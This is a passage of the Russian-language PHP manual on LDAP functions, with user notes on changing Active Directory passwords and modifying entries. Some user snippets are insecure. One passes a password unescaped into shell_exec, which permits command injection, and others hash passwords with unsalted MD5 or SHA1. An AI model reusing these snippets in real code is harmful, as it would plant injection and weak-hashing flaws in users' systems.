8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • ldap_mod_replace_ext() - Заменить значения атрибута на новые
  • ldap_mod_del() - Удалить значения атрибута из текущих атрибутов
  • ldap_mod_add() - Добавить значения атрибута к текущим атрибутам
  • ldap_modify_batch() - Формирования и запуск пакетного изменения записи LDAP

User Contributed Notes

giodev at panozzo dot it 27-Feb-2020 07:50
An bettter method to create the unicodePwd Active Directory LDAP field from PHP is:

$unicodePwd = iconv("UTF-8", "UTF-16LE", "\"".$password."\"");

It works when $password is coming from a UTF-8 page. If your $password is not utf-8, change the 1st parameter of iconv.
dynamik 15-Feb-2013 06:11
Using this function to 'replace' an Active Directory password requires the "Reset Password" security permission as opposed to the "Change Password" permission (which is assigned by default to SELF)
Anonymous 01-Jun-2012 08:32
this can not be used to change a password on an AD server that requires you to send the old and new password.

in order to do this use on shuts an sever make an admin-account that allows to change other ppl pw without suppling the old password first.
plex909 30-Sep-2008 03:23
Here's an easy way to encode AD "unicodepwd" values from linux...

Download and install recode...
http://www.gnu.org/software/recode/recode.html

Then write something like this...
<?php
function ADUnicodePwdValue($plain_txt_value)
{
    return str_replace("\n", "", shell_exec("echo -n '\"" . $plain_txt_value . "\"' | recode latin1..utf-16le/base64"));
}

$user["unicodepwd"] = ADUnicodePwdValue("my_password");

?>

[EDITOR thiago NOTE: The following text was sent by boyvanderlaak at gmail dot com as an important complement]

if you do not have access to your linux box but have Multibyte String enabled you could try the following for AD 2008:

<?php
$info["unicodePwd"] = mb_convert_encoding('"' . $newPassword . '"', 'utf-16le');
?>
chris at mr2madness dot com 18-Sep-2007 07:44
You can use arrays for multiple attributes example:

<?php
$entry[mail] = array("example@example.com","example2@example.com");
$results = ldap_mod_add($ldapConnID,$dn, $entry);
?>
or as i did for creating anew user:
<?php
$adduserAD["objectClass"] = array("top","person","organizationalPerson","user");
?>
mike dot rosile at interzonegames dot com 20-Jul-2007 09:01
Here is some great information from the OpenLDAP FAQs regarding changing a userPassword attribute with PHP:

http://www.openldap.org/faq/data/cache/347.html

$userpassword = "{SHA}" . base64_encode( pack( "H*", sha1( $pass ) ) );
aaronfulton at softhome dot net 03-Dec-2006 08:24
Before you modify values in your ldap directory, first make sure that you have permission to do so.  In openldap adding the following acl in slap.conf will allow the user to modify their own userpassword.

access to attr=userPassword
        by self write
        by anonymous auth
        by * none
erwann at zeflip dot com 04-Oct-2006 10:41
If you do not wish to set up SSL on your active directory, and you are running on Windows, you can use COM and ADSI to set the new password for a user, or to active a user:

<?PHP
// to set a user password
  // server is the ldap server
  // newuser_dn is the full dn of the user you want to modify
  // newuser_password is the password you wish to set for the user

    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->SetPassword($newuser_password);
    $user->SetInfo();

// to activate a user
    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->AccountDisabled = false;
    $user->SetInfo();

?>
frederic dot jacquot at insa-lyon dot fr 09-Jun-2004 04:26
Changing a user password in Active Directory.
Securely connect (using ldaps) to the Active Directory and bind using an administrator account.

In this example, $userDn contains the dn of the user I want to modify, and $ad is the Active Directory ldaps connection)

$newPassword = "MyPassword";
$newPassword = "\"" . $newPassword . "\"";
$len = strlen($newPassword);
for ($i = 0; $i < $len; $i++)
        $newPassw .= "{$newPassword{$i}}\000";
$newPassword = $newPassw;
$userdata["unicodepwd"] = $newPassword;
$result = ldap_mod_replace($ad, $userDn, $userdata);
if ($result) echo "User modified!" ;
else echo "There was a problem!";

I found it hard to get a proper encoding for the unicodepwd attribute so this piece of code might help you ;-)
18-Jul-2002 11:32
Sometime,we cannot replace ldap_mod_replace  function  with ldap_mod_del function and ldap_mod_add fuction .We  don't have permission to delete an attribute but  we can replace it.
ondrej at sury dot cz 26-Feb-2002 05:31
in openldap 2.0.x you can use method with mod_del/mod_add only if the attribute have defined EQUALITY rule.
JoshuaStarr at aelana dot com 30-Aug-2001 11:28
To modify an attribute with a single value:
  $entry[mail] = "newmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify an attribute with multiple values:
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify multiple attributes
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $entry[c]      = "US";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);
oyvindmo at initio dot no 30-Nov-2000 04:57
ldap_mod_replace() and ldap_modify() are _exactly_ the same.  So, the comment that ldap_mod_replace() "performs the modification at the attribute level as opposed to the object level", has no root in reality.
yife at myrice-ltd dot com 16-Nov-2000 01:57
if i want to replace the special attribute but i don't replace other attribute ,i just use "ldap_mod_del" and "ldap_mod_add" ,the function seems to that


Формирования и запуск пакетного изменения записи LDAP

  • « ldap_mod_replace
  • ldap_modify »
  • PHP Manual
  • Функции LDAP
  • Формирования и запуск пакетного изменения записи LDAP

ldap_modify_batch

(PHP 5.4 >= 5.4.26, PHP 5.5 >= 5.5.10, PHP 5.6 >= 5.6.0, PHP 7, PHP 8)

ldap_modify_batch — Формирования и запуск пакетного изменения записи LDAP

Описание

ldap_modify_batch(
LDAP\Connection $ldap,
string $dn,
array $modifications_info,
?array $controls = null
): bool

Модифицирует существующую запись в каталоге LDAP. Допустимо детальное описание модификации.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Характерное имя объекта LDAP.

modifications_info

Массив, описывающий необходимую модификацию. Каждая запись этого массива представляет собой ассоциативный массив с двумя или тремя ключами: attrib задаёт имя атрибута для изменения, modtype задаёт тип модификации и (в зависимости от типа модификации) values задаёт массив значений атрибутов, соответствующий данной модификации.

Допустимые значения для modtype:

LDAP_MODIFY_BATCH_ADD

Каждое значение заданное в values будет добавлено (как дополнительное значение) к атрибуту attrib.

LDAP_MODIFY_BATCH_REMOVE

Каждое значение заданное в values будет удалено из атрибута заданного вattrib. Ни одно значение не указанное в values не будет затронуто.

LDAP_MODIFY_BATCH_REMOVE_ALL

Все значения будут удалены у атрибута attrib. Параметр values не нужен.

LDAP_MODIFY_BATCH_REPLACE

Все существующие значения атрибута attrib будут заменены значениями указанными в values.

Обратите внимание, что все значения attrib должны быть строками, все значения values должны быть массивами строк и любые значения modtype должны быть одной из констант LDAP_MODIFY_BATCH_*, перечисленных выше.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примеры

Пример #1 Добавление контакту телефонного номера

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "telephoneNumber",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => ["+1 555 555 1717"],
],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Пример #2 Переименование пользователя

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "sn",
"modtype" => LDAP_MODIFY_BATCH_REPLACE,
"values" => ["Smith-Jones"],
],
[
"attrib" => "givenName",
"modtype" => LDAP_MODIFY_BATCH_REPLACE,
"values" => ["Jack"],
],
];
ldap_modify_batch($connection, $dn, $modifs);
ldap_rename($connection, $dn, "cn=Jack Smith-Jones", NULL, TRUE);
?>

Пример #3 Добавление пользователю двух e-mail адресов

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "mail",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => [
"jack.smith@example.com",
"jack.smith-jones@example.com",
],
],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Пример #4 Изменение пароля пользователя

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
[
"attrib" => "userPassword",
"modtype" => LDAP_MODIFY_BATCH_REMOVE,
"values" => ["Tr0ub4dor&3"],
],
[
"attrib" => "userPassword",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => ["correct horse battery staple"],
],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Пример #5 Изменение пароля пользователя (Active Directory)

<?php
function adifyPw($pw)
{
return iconv("UTF-8", "UTF-16LE", '"' . $pw . '"');
}

$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=ad,dc=example,dc=com";
$modifs = [
[
"attrib" => "unicodePwd",
"modtype" => LDAP_MODIFY_BATCH_REMOVE,
"values" => [adifyPw("Tr0ub4dor&3")],
],
[
"attrib" => "unicodePwd",
"modtype" => LDAP_MODIFY_BATCH_ADD,
"values" => [adifyPw("correct horse battery staple")],
],
];
ldap_modify_batch($connection, $dn, $modifs);

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ldap_mod_replace

  • « ldap_modify_batch
  • ldap_next_attribute »
  • PHP Manual
  • Функции LDAP
  • Псевдоним ldap_mod_replace

ldap_modify

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_modify — Псевдоним ldap_mod_replace()

Описание

Функция является псевдонимом: ldap_mod_replace().

Смотрите также

  • ldap_rename() - Изменить имя записи

User Contributed Notes

Anonymous 01-Mar-2015 06:52
I ran into a rather annoying issue when trying to add a user to a usergroup in Active Directory.

Active Directory tends to not be particularly happy when you try modifying the "memberOf" attribute (through ldap_mod_add/ldap_mod_replace), and will output a warning/error somewhere along the lines of:

Warning: ldap_mod_add(): Modify: Server is unwilling to perform in ...

If you want to add a user to a usergroup, you need to add the user as a member of the group, rather than adding to the memberOf attribute of the group:

<?php
    function ldap_addToGroup($username, $group) {
        $dn = "CN=$group,OU=Accounts,DC=DC1,DC=DC2"; // distinguished name/DN of the group you want to add to
        $info["member"] = "CN=$username,OU=Accounts,DC=DC1,DC=DC2"; // DN of the user you want to add
        return ldap_modify($ldapconn, $dn, $info);
    }
?>

Hope this helps someone.
Anonymous 01-Mar-2015 06:51
I ran into a rather annoying issue when trying to add a user to a usergroup in Active Directory.

Active Directory tends to not be particularly happy when you try modifying the "memberOf" attribute (through ldap_mod_add/ldap_mod_replace), and will output a warning/error somewhere along the lines of:

Warning: ldap_mod_add(): Modify: Server is unwilling to perform in ...

If you want to add a user to a usergroup, you need to add the user as a member of the group, rather than adding to the memberOf attribute of the group:

<?php
    function ldap_addToGroup($username, $group) {
        $dn = "CN=$group,OU=Accounts,DC=DC1,DC=DC2"; // distinguished name/DN of the group you want to add to
        $info["member"] = "CN=$username,OU=Accounts,DC=DC1,DC=DC2"; // DN of the user you want to add
        return ldap_modify($ldapconn, $dn, $info);
}
?>

Hope this helps someone.
spam at bilgoraj dot info 02-Aug-2013 10:38
If You can`t add attribute objectclass to existing object  using ldap_modify - use ldap_mod_add - it works.
php_notes at grumz dot net 18-Apr-2007 06:09
Following goetz at rvs dot uni-hannover dot de's comment, it is not exactly true that ldap_modify can't change objectclass.

In fact, it's impossible to add an objectclass which is set as STRUCTURAL in the schema description. But you can add an objectclass set as AUXILIARY. See OpenLDAP FAQ below for explanation why :

http://www.openldap.org/faq/data/cache/1341.html

For example, if you have an ldap entry of type "device", which is a structural objectclass, named "cn=myNetCard,ou=Networks,dc=example,dc=com", you can do this :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ieee802Device"; // add an auxiliary objectclass
$entry["macAddress"][0] = "aa:bb:cc:dd:ee:ff";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

But this will not work :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ipNetwork"; // add a structural objectclass
$entry["ipNetworkNumber"][0] = "1.2.3.4";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

You will get the following error : "Cannot modify object class"
kevin at guarana dot org 02-Apr-2007 06:44
If you're seeing confusing "Type or value exists" errors from ldap_modify, the reason could be that you're attempting to add two identical values for a multi-valued attribute.  ie, something like:

<?php
$le = array("mail" => array("foo@bar.com", "foo@bar.com"));
$result = ldap_modify($ldap_link, $dn, $le);
?>
docwoelle at ipwatch dot de 11-Apr-2006 01:44
If you want to disable an account in an Active Directory of Windows,
you may try this (it works for me in a Win2k environment):

(foo.bar should be replaced in "$ldapBase" to the correct
 domain, e.g. "DC=phpfreackx,DC=com" if your domain is phpfreackx.com)

domctrl = domain controller
domadlogin = domain admin login
domadpw = domain admin password
username = loginname of useraccount (e.g. "john.doe")
enable =1 (if you want to enable it, 0 if it should be disabled)

<?php
function userchange($username,$enable=1,$domadlogin,$domadpw,$domctrl)
{
$ldapServer = $domctrl;
$ldapBase = 'DC=foo,DC=bar';
$ds = ldap_connect($ldapServer);
if (!$ds) {die('Cannot Connect to LDAP server');}
$ldapBind = ldap_bind($ds,$domadlogin,$domadpw);
if (!$ldapBind) {die('Cannot Bind to LDAP server');}
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$dn=$ent[0]["dn"];
// Deactivate
$ac = $ent[0]["useraccountcontrol"][0];
$disable=($ac |  2); // set all bits plus bit 1 (=dec2)
$enable =($ac & ~2); // set all bits minus bit 1 (=dec2)
$userdata=array();
if ($enable==1) $new=$enable; else $new=$disable; //enable or disable?
$userdata["useraccountcontrol"][0]=$new;
ldap_modify($ds, $dn, $userdata); //change state
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$ac = $ent[0]["useraccountcontrol"][0];
if (($ac & 2)==2) $status=0; else $status=1;
ldap_close($ds);
return $status; //return current status (1=enabled, 0=disabled)
}

// use this to disable an account:
// userchange('john.doe@foo.bar',0,'admin@foo.bar', 'secret','domctrl.foo.bar');
// ..but this to enable it:
// userchange('john.doe@foo.bar',1,'admin@foo.bar', 'secret','domctrl.foo.bar');
?>
jmw1982 at gmail dot com 28-Nov-2005 02:03
If you're writing a multiple values for an attribute with ldap_modify (), the function will attempt to write all entries in the value array even if those entries are blank.  Setting blank entries to a blank array in the manner used for attribute deletion, ie:

$attributes[$attr_name][3] = array ();

results in the string "Array" being written to the directory for that value.  The only way I was able to find to do what I wanted - only write the values for the attribute that were submitted on the form - was to check if each attribute had multiple values and unset () blank values, eg:

                foreach ($attributes as $key => $cur_val) {
                        if ($cur_val== '') {
                                $attributes[$key] = array ();
                        }
                        if (is_array ($cur_val)) {
                                foreach ($cur_val as $mv_key => $mv_cur_val) {

                                        if ($mv_cur_val == '') {
                                                unset ($attributes[$key][$mv_key]);
                                        }
                                        else {
                                                $attributes[$key][$mv_key] = $mv_cur_val;
                                        }
                                }
                        }
                }
chris at uffbasse dot de 14-Jun-2004 09:57
To pinpoint the delete issue:

with newer OpenLdap versions this will fail:

$values["mail"] = "";
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = "";
ldap_modify($conn_id, $dn, $values);

BUT this works:

$values["mail"] = array();
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = array();
ldap_modify($conn_id, $dn, $values);
ace at suares dot nl 08-Dec-2003 07:41
Some comments on ldap_modify, and especially the user comment from tengel at fluid dot com

OpenLDAP 2.1.22
If an attribute is tagged as MUST in the schema, the attribute must be there. Wheter it may contain and empty value depends on the SYNTAX for that attribute.

DirectoryString MAY NOT be empty; OctetString MAY be empty. As far as I can see, IA5String MAY NOT be empty.

If an attribute is defined as MAY in the schema, the attribute may or may not be there. If it is there, it MAY or MAY NOT be empty, depending on its SYNTAX.

PHP 4.3.1

It seems that ldap_modify() will take an array of attributes to modify.

For multivalued attributes, passing an empty array, wil DELETE the attribute, regardless of it's previous value(s), and regardless if the attribute was there before the modify.

If the multivalued attribute is defined as MAY, this will work. If the attribute is defined as MUST, OpenLDAP will generate the error: 'LDAP error 65: Object class violation'

If an attribute's SYNTAX defines that it MAY NOT be empty, trying to add or modify the attribute with an empty value will genereate the error: 'LDAP error 21: Invalid syntax'.
Also, in the logfile, if set with sufficient debuglevel, the string

    value #0 invalid per syntax

will be present.

Trying to pass an empty array to ldap_add() for a any attribute (multi or single valued) will result in the error 'LDAP error 2: Protocol error', regardless if the attribute is defined as MUST or MAY.

Note that this differs form passing an array with elements that have no value. In the latter case, it depends on the SYNTAX for that attribute if that is allowed.

If the attribute is single-valued, passing an array with one element, WILL change the value of the attribute. In the user comments on php.net it is suggested that if you want to modify a single valued attribute, you must pass a string, not an array with one element. My experience is that an array with a single element will work just as well.

_Ace

website: http://www.suares.nl * http://www.qwikzite.nl
fechner at ponton dot de 22-Oct-2003 12:32
If you are trying to change the userPassword attribute when using md5 hashes, try the following lines:

$new["userPassword"] = '{md5}' . base64_encode(pack('H*', md5($newpass_in_plaintext)));
ldap_modify($ds, $dn, $new);
davidsmith at byuNOSPAM dot edu 12-Jul-2003 05:52
The $entry parameter can be an array of values for an attribute. Just be careful that your array's indices are numerically contiguous. For example, when using this $entry array, ldap_modify will fail with little explanation:

   $entry = array( 0 => 'foo', 2 => 'bar' );

While this one will work just fine:

   $entry = array( 0 => 'foo', 1 => 'bar' );

Hope this helps someone out.
jpdalbec at ysu dot edu 13-Jun-2003 03:13
Nick T.'s comment above is out of date.
The PHP LDAP interface currently supports direct modification of the DN using the ldap_rename() function.
goetz at rvs dot uni-hannover dot de 27-Mar-2003 07:22
Remember that you can NOT modify the attribute 'objectclass' with ldap_modify!

If you use a search result as basis for your changes, be sure to 'unset()' all numbered indices, 'count' indicies AND index 'objectclass' !
NOSPAMjjhuff at mspin dot net 12-Aug-2002 08:50
To delete entries:

$data["description"] = array();
ldap_modify($conn, $dn,$data);
tengel at fluid dot com 21-Mar-2001 06:57
The behaviour of OpenLDAP from 1.x to 2.x changed; in 1.x, when you passed ldap_modify the array, if the value was empty that attribute would be deleted.  In 2.x, you get an "Invalid Syntax" error and the modify fails.

This requires the ldap_mod_del function; unfortunately, that operation requires the attribute to be deleted have it's *old* value specified -- as you can imagine, if you're taking input from a CGI form, the attribute to be deleted's value is now missing (i.e., the user blanked out that textbox in the form and clicked Submit).

So, you're in a bit of a conundrum -- you want to delete "empty" form values, but you need their old value to delete them.  There are many ways to handle this, but I chose this approach:

<?php
// The first is what to add, the second to remove
$entry=array();
$delval=array();

// Imagine if you will, $o and $title are
// form fields with text boxes for data
if($o!="") { $entry["o"]="$o"; } else { $delval[]="o"; }
if($title!="") { $entry["title"]="$title"; } else { $delval[]="title"; }

// First try the normal modify with $entry
// $ldap, $dn, $BASEDN are all set up earlier
if (@ldap_modify($ldap, $dn, $entry)) {
  // then do the dirty work
  $filter = sprintf("(&(uid=%s)(sn=%s))",$uid,$sn);
  $sres = ldap_search($ldap, $BASEDN, $filter, $delval);
  $delent = ldap_first_entry($ldap, $sres);
  $delarr = ldap_get_attributes($ldap, $delent);
  $findel=array();
  for($i=0; $i<$delarr["count"]; $i++) {
    $attr = $delarr[$i];
    $totl = $delarr[$attr]["count"];
    for($z=0; $z<$totl; $z++) {
      if ($totl = 1) {
        $findel[$attr]=$delarr[$attr][$z];
      } else {
        $findel[$attr][$z]=$delarr[$attr][$z];
      }
    }
  }
  if(@ldap_mod_del($ldap, $dn, $findel)) {
    print("<H3>Modified Entry!</H3>\n");
    print("<BR>\n");
  } else {
    $error=ldap_error($ldap);
    print("<H3>Attribute Delete Failed!</H3>\n");
    print("<BR>\n($error)\n");
  }
} else {
  $error=ldap_error($ldap);
  print("<H3>Modify Failed!</H3>\n");
  print("<BR>\n($error)\n");
}
?>
nickt at powys dot gov dot uk 23-Apr-1999 05:23
Modifying existing LDAP information using ldap_modify()

The link_identifier must result from a call to connect to the server with authority to update entries, usually requiring an authenticated bind - ie you provide a suitable dn and password in the ldap_bind() call.

The  dn  must be a single specific dn that exists on the LDAP server.   There is no wildcard mechanism in LDAP to globally change multiple dn entries.

The entry array must be in one of two different forms, according to whether just one entry is to be stored in the directory for a particular attribute, or whether multiple entries are to be stored for the attribute.

Where a single entry is to be stored for an attribute - say just a single email address - then you use the general form

             <?php $newinfo[ <attribute_name> ]="whatever" ; ?>

for example ...

             <?php $newinfo["mail"]="john@myorg.com" ; ?>

Where multiple entries are to be stored for an attribute  -  say a number of email addresses for one person  -  then you use the general form

             <?php
             $newinfo[ <attribute_name> ][0] = "whatever" ;
             $newinfo[ <attribute_name> ][1] = "another" ;
             ?>

for example ...

             <?php
             $newinfo["mail"][0]="johnw@myorg.com" ;
             $newinfo["mail"][1]="jwaterson@somewhere.org" ;
             ?>

Further notes on ldap_modify()

The modify call leaves entries for all other attributes unaltered.   So if you just want to update the entry for the "mail" attribute, then all that is required is:

     <?php
     $newinfo[mail]="nick@county.gov.uk";
     ldap_modify($valid_ldaplink, $valid_dn, $newinfo);
     ?>

However, if there were multiple entries for the mail attribute present on the LDAP database when you run the above code, then all the existing mail entries would be deleted and be replaced by the single "mail" entry.

If you have reason to expect multiple values for a particular attribute (more that one email entry, for example) you should make sure you read all the entries from the ldap server first, and then save a modified array.

The PHP LDAP interface does not currently support direct modification of the dn.  If the dn needs changing, the only option is to read all entries for the dn and save these to a new, modified, dn before deleting the complete entry for the original dn.


Получить следующий атрибут из результата

  • « ldap_modify
  • ldap_next_entry »
  • PHP Manual
  • Функции LDAP
  • Получить следующий атрибут из результата

ldap_next_attribute

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_next_attribute — Получить следующий атрибут из результата

Описание

ldap_next_attribute(LDAP\Connection $ldap, LDAP\ResultEntry $entry): string|false

Возвращает атрибуты записи. Первый вызов ldap_next_attribute() производится с параметром entry, который возвращается ldap_first_attribute().

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

Возвращаемые значения

Возвращает следующий атрибут записи в случае успешного выполнения и false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.
8.0.0 | Неиспользуемый третий параметр ber_identifier больше не принимается.

Смотрите также

  • ldap_get_attributes() - Получает атрибуты из записи в результатах поиска

User Contributed Notes

There are no user contributed notes for this page.


Получить следующую запись результата

  • « ldap_next_attribute
  • ldap_next_reference »
  • PHP Manual
  • Функции LDAP
  • Получить следующую запись результата

ldap_next_entry

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_next_entry — Получить следующую запись результата

Описание

ldap_next_entry(LDAP\Connection $ldap, LDAP\ResultEntry $entry): LDAP\ResultEntry|false

Получить записи, хранящиеся в результате. Последующие вызовы ldap_next_entry()
возвращают по одной записи, пока не останется больше записей.
Первый вызов ldap_next_entry() производится
после вызова ldap_first_entry() с параметром
entry, который был возвращён ldap_first_entry().

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

Возвращаемые значения

Возвращает экземпляр LDAP\ResultEntry для следующей записи в результате, содержимое которого начинают читаться, запуская ldap_first_entry(). Если нет больше записей в результате, тогда возвращается false.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).

Смотрите также

  • ldap_get_entries() - Получает все записи результата

User Contributed Notes

me at xbug dot de 17-Jul-2014 10:13
This is working for me in php 5.5:

<?php
$ldap_host = 'ldap://ldap.example.com';
$base_dn = "ou=users,dc=example,dc=com";
$connect = ldap_connect($ldap_host);

$result = ldap_search($connect, $base_dn, "(cn=*)");

$entry = ldap_first_entry($connect, $result);

do {
    $dn = ldap_get_dn($connect, $entry);
    echo "DN is $dn\n";
} while ($entry = ldap_next_entry($connect, $entry));

ldap_close($connect);
?>


Возвращает следующую справку

  • « ldap_next_entry
  • ldap_parse_exop »
  • PHP Manual
  • Функции LDAP
  • Возвращает следующую справку

ldap_next_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_next_reference — Возвращает следующую справку

Описание

ldap_next_reference(LDAP\Connection $ldap, LDAP\ResultEntry $entry): LDAP\ResultEntry|false
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Разбор результирующего объекта выполнения расширенной операции LDAP

  • « ldap_next_reference
  • ldap_parse_reference »
  • PHP Manual
  • Функции LDAP
  • Разбор результирующего объекта выполнения расширенной операции LDAP

ldap_parse_exop

(PHP 7 >= 7.2.0, PHP 8)

ldap_parse_exop — Разбор результирующего объекта выполнения расширенной операции LDAP

Описание

ldap_parse_exop(
LDAP\Connection $ldap,
LDAP\Result $result,
string &$response_data = null,
string &$response_oid = null
): bool

Разбирает result, полученный после выполнения расширенной операции LDAP

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

response_data

Будет заполнен разобранными данными.

response_oid

Будет заполнен возвращённым OID.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.

Смотрите также

  • ldap_exop() - Выполняет расширенную операцию

User Contributed Notes

There are no user contributed notes for this page.


Извлекает информацию из справочника

  • « ldap_parse_exop
  • ldap_parse_result »
  • PHP Manual
  • Функции LDAP
  • Извлекает информацию из справочника

ldap_parse_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_parse_reference — Извлекает информацию из справочника

Описание

ldap_parse_reference(LDAP\Connection $ldap, LDAP\ResultEntry $entry, array &$referrals): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь информацию из результата

  • « ldap_parse_reference
  • ldap_read »
  • PHP Manual
  • Функции LDAP
  • Извлечь информацию из результата

ldap_parse_result

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_parse_result — Извлечь информацию из результата

Описание

ldap_parse_result(
LDAP\Connection $ldap,
LDAP\Result $result,
int &$error_code,
string &$matched_dn = null,
string &$error_message = null,
array &$referrals = null,
array &$controls = null
): bool

Обрабатывает результат поиска LDAP.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

error_code

Ссылка на переменную, которой присваивается код ошибки LDAP, или 0, если нет ошибки.

matched_dn

Ссылка на переменную, которой присваивается найденный DN, если он определяется в запросе, иначе присваивается null.

error_message

Ссылка на переменную, которой присваивается сообщение об LDAP-ошибке, или пустая строка, если нет ошибки.

referrals

Ссылка на переменную, которой присваивается массив (array) со всеми отсылками (referral) в виде строк, или пустой массив, если они не были возвращены.

controls

Массив (array) LDAP Controls, которые были отправлены вместо с ответом.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.
7.3.0 | Добавлена поддержка параметра controls

Примеры

Пример #1 Пример использования ldap_parse_result()

<?php
$result = ldap_search($ldap, "cn=userref,dc=my-domain,dc=com", "(cn=user*)");
$errcode = $dn = $errmsg = $refs = null;
if (ldap_parse_result($ldap, $result, $errcode, $dn, $errmsg, $refs)) {
// различные операции с $errcode, $dn, $errmsg и $refs
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Читает запись

  • « ldap_parse_result
  • ldap_rename_ext »
  • PHP Manual
  • Функции LDAP
  • Читает запись

ldap_read

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_read — Читает запись

Описание

ldap_read(
LDAP\Connection|array $ldap,
array|string $base,
array|string $filter,
array $attributes = [],
int $attributes_only = 0,
int $sizelimit = -1,
int $timelimit = -1,
int $deref = LDAP_DEREF_NEVER,
?array $controls = null
): LDAP\Result|array|false

Выполняет поиск для указанного filter в директории в рамках LDAP_SCOPE_BASE. Эквивалентно чтению записи из директории.

Также можно выполнять параллельный поиск. В этом случае первым аргументом должен быть массив экземпляров LDAP\Connection, а не один экземпляр. Если поиск не должен использовать один и тот же базовый DN и фильтр, в качестве аргументов можно передать массив базовых DN и/или массив фильтров. Количество элементов в массивах должно совпадать с количеством экземпляров LDAP\Connection, поскольку первые записи массивов используются для одного поиска, вторые — для другого и так далее. При параллельном поиске возвращается массив экземпляров LDAP\Result, за исключением возникновения ошибки, когда возвращается значение false.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

base

Базовое DN для каталога.

filter

